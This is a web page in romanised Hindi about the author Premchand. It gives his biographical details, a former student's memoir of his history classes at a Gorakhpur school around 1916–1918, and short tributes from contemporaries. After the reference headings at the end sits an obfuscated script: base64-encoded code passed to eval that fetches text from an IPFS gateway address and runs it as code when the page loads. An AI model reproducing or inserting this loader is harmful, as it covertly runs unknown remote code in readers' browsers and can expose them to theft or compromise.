एक शिष्य की नज़र में प्रेमचंद
ek shishy ki nazar mean premachand
| |
| poora nam | muanshi premachand |
| any nam | navab ray |
| janm | 31 julaee, 1880 |
| janm bhoomi | lamahi gaanv, varanasi, uttar pradesh |
| mrityu | 8 aktoobar 1936 |
| mrityu sthan | varanasi, uttar pradesh |
| abhibhavak | muanshi ajayab lal aur anandi devi |
| pati/patni | shivarani devi |
| santan | shripat ray aur amrit ray (putr) |
| karm bhoomi | gorakhapur |
| karm-kshetr | adhyapak, lekhak, upanyasakar |
| mukhy rachanaean | gaban, godan, b de ghar ki beti, namak ka daroga adi |
| vishay | samajik |
| bhasha | hindi |
| vidyalay | ilahabad vishvavidyalay |
| shiksha | snatak |
| prasiddhi | upanyas samrat |
| nagarikata | bharatiy |
| sahityik | adarshonmukh yatharthavad |
| andolan | pragatishil lekhak andolan |
| any janakari | premachand unaka sahityik nam tha aur bahut varshoan bad unhoanne yah nam apanaya tha. unaka vastavik nam ‘dhanapat ray’ tha. jab unhoanne sarakari seva karate hue kahani likhana arambh kiya, tab unhoanne navab ray nam apanaya. bahut se mitr unhean jivan-paryant navab ke nam se hi sambodhit karate rahe. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
- is tarah padhate the itihas!
mera (muanshi manjurul hak) julaee, 1916 ee. se 1918 ee. tak ka jamana ustaji (ustad) muanshi premachand marahoom ke sath shagirdi ki haisiyat se basar hua. ap us jamane mean naramal skool, gorakhapur mean pharst asisteant the. apaka niyam tha ki skool mean amooman thik vakt par pahuanch jate. rahane ke lie apako skool mean hi sarakari makan mila tha. ghanta baja aur ap shayarana aandazamean nikale. akasar ap khule sar, bal parishan (bikhare hue) ek kot pahane hue, jisake batan khule rahate. amataur par dhoti pahane ek ajib aandaje-raphtar se skool ate the. l dake jitana unaka adab karate the, utana kisi ka nahian karate the. meri jamaat mean itihas padhate the. unaka dastoor yah tha ki khud itihas ki kitab lekar padhate chale jate, chooanki l dake midil aur treniang pas hote the, isaliye jyada dikkat nahian p dati thi. ek ghante mean jo kuchh padhana hota, 15 minat mean padhakar itihas ke mutallik vo batean bayan karate, jo us tarikh mean hotian. nahian maloom unaki janakari kitani vyapak thi.[1]
akasar aisa hota ki jo kuchh tarikh mean padhakar sunate usake khilaph mukhtaliph tarikhi havaloan se bayan karate. baj vakiat ke mutallik ye bhi dikhate ki mahaj hiandoo-musalaman mean naphak (vaimanasyata) paida karane ke lie likhi gee hai. garaj unaka ghanta ajibo-garib maloomat ka ghanta hota. ghanta khatm hone ke kabl (pahale) yah bhi pharama dete ki dekho jo kuchh maianne bayan kiya hai, vah samajhane ki chij hai. varana phel ho jaoge. klas mean unake ate hi aisi jiandadili paida ho jati ki har ek unaki taraph mukhatib ho jata. ye jaroori n tha ki jo sabjekt padhana hai, vo hi padhaya jae. balki jis vishay ki taraph unaka rujhan ya l dakoan ka takaja hua, bayan pharamane lagate. agar klas mean padhate vakt koee hansi ki bat a gee, to beakhtiyar hansane lage. kisi ka khaupho-hiras (bhay) nahian tha.
ek martaba ka vakia hai ki ianspektar sahab muayana ke lie ae. baboo vachanalal sahab hedamastar marahoom jo bahut sidhe adami the, kuchh pareshan se the. tamam l dake bhi apane-apane dres se arasta (saje hue) the, magar hamare ustad marahoom ka vahi alam tha, jo pahale likh chuka hooan. nange sar, bal parishan, kot ka batan khula hua. ianspektar sahab klas mean ae, isaka bhi koee asar n hua. kuchh aangrezi mean guphtagoo huee. usake bad ianspektar sahab chale ge. us jamane mean ustad marahoom ka ek chhota bachcha tha. usako ham log akasar khilate the. jis vard mean ham log the, usake bad hi ustad marahoom ka makan tha. isalie unhean jab jaroorat hoti, ham logoan ko bula lete. us jamane mean jis kadar aphasane likhe ge aur risaloan (patrikaoan) mean bheje ge, takariban kul ke kul mere saph kie hue the. maianne us jamane mean ek navil (mahamood aur sayara) ke nam se likha tha. aisa shaphik (kripalu) ustad pakar islah (sanshodhan) n leta, to galati thi, chunaanche maianne use unhean dikhaya. doosare roj yah kahakar use vapas kar diya ki itani phursat kisako hai ki itani b di kitab dekhe. agar shauk hai, to chhote-chhote aphasane likho.
phir maianne kabhi himmat n ki. do-char aphasane-talime-hukm (adesh palan hetu) mean likhe jo 'jamana' mean chhap ge. apake aphasane ki alamagir (vishvavyapi) shoharat ki vajah se akasar log door-daraj se unase milane aya karate the. ek martaba do sahab milane ke lie ae. ek ajamagadh ki tahasil ke koee tahasiladar the, doosare koee rees the. rees ne kuchh rupaye bhi peshakash kiya tha.[2]
samakalinoan ki nazar mean premachand
- rabiandranath taigor
muanshi premachand ki kabiliyat aur adabi khidamat bainul akavami shoharat hasil kar chuki thi.
- sharatachandr chattopadhyay
taigor ki to bat hi aur hai, lekin mukhtasar kahaniyoan mean premachand ka martaba bahut buland hai.
- pandit anandarav joshi
premachand hiandustan ke ala rahanuma-e-phan the. unaki rachanaean doosari bhashaoan mean bhi usi shauk aur dilachaspi se padhi jati haian, jaise hindi aur urdoo mean.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>